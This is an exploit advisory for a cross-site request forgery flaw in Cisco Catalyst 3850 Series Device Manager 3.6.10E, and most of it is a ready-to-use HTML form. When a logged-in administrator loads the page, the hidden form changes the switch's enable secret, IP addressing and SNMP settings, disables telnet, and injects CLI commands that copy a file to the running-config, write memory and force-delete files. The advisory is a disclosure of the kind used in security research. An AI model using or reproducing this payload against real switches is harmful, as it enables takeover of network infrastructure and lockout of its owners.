Cisco Catalyst 3850 Series Device Manager Cross-Site Request Forgery

2019.08.01
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Product : Catalyst 3850 Series Device Manager # Version : 3.6.10E # Date: 01.08.2019 # Vendor Homepage: https://www.cisco.com # Exploit Author: Alperen Soydan # Description : The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. @special thx:Haki B├╝lent Sever # Tested On : Win10 & KaliLinux Change Switch Password CSRF @Catalyst 3850 Series Device Manager note : You must edit the values written by "place" ___________________________________________________________ <html> <body> <form action="http://IP/%24moreField%20%0A%24a%20%24b1%0A%24c1%0A%24c2%0Awrite%20memory%0A" method="POST"> <input type="hidden" name="SNMP_STATUS" value="SNMP+agent+enabled%0D%0A" /> <input type="hidden" name="send" value="nsback.htm" /> <input type="hidden" name="SNMP_READCOMM_DEFVAL" value="ELVIS" /> <input type="hidden" name="SNMP_CONTACT_DEFVAL" value="Network+Support+Group" /> <input type="hidden" name="SNMP_LOCATION_DEFVAL" value="TEST2" /> <input type="hidden" name="text_ipAddress0" value="place first octet" /> <input type="hidden" name="text_ipAddress1" value="place second octet" /> <input type="hidden" name="text_ipAddress2" value="place third octet" /> <input type="hidden" name="text_ipAddress3" value="place fourth octet" /> <input type="hidden" name="list_subnetMask" value="place subnet mask ip" /> <input type="hidden" name="text_ipDefaultGateway0" value="place gw ip first octet" /> <input type="hidden" name="text_ipDefaultGateway1" value="place gw ip second octet" /> <input type="hidden" name="text_ipDefaultGateway2" value="place gw ip third octet" /> <input type="hidden" name="text_ipDefaultGateway3" value="palce gw ip fourth octet" /> <input type="hidden" name="text_enableSecret" value="KEY" /> <input type="hidden" name="text_confirmEnableSecret" value="KEY" /> <input type="hidden" name="text_sysName" value="SW_TEST" /> <input type="hidden" name="list_date" value="19" /> <input type="hidden" name="list_month" value="Jul" /> <input type="hidden" name="list_year" value="2019" /> <input type="hidden" name="list_hour" value="10" /> <input type="hidden" name="list_minute" value="20" /> <input type="hidden" name="list_period" value="AM" /> <input type="hidden" name="list_timezone" value="C" /> <input type="hidden" name="radio_telnetAccess" value="disable" /> <input type="hidden" name="radio_snmpStatus" value="enable" /> <input type="hidden" name="text_snmpReadComm" value="ELVIS" /> <input type="hidden" name="text_sysContact" value="Network+Support+Group" /> <input type="hidden" name="text_sysLocation" value="TEST2" /> <input type="hidden" name="list_ipv6_interface" value="Vlan500" /> <input type="hidden" name="list_prefix" value="64" /> <input type="hidden" name="moreField" value="more flash:/html/more.txt" /> <input type="hidden" name="a" value="cluster pref file e.cli" /> <input type="hidden" name="z" value="cluster pref file append e.cli" /> <input type="hidden" name="b1" value="!enable secret KEY!ip http authentication enable!end" /> <input type="hidden" name="c1" value="copy e.cli running-config" /> <input type="hidden" name="c2" value="delete /force e.cli" /> <input type="submit" value="submit form" /> </form> </body> </html>


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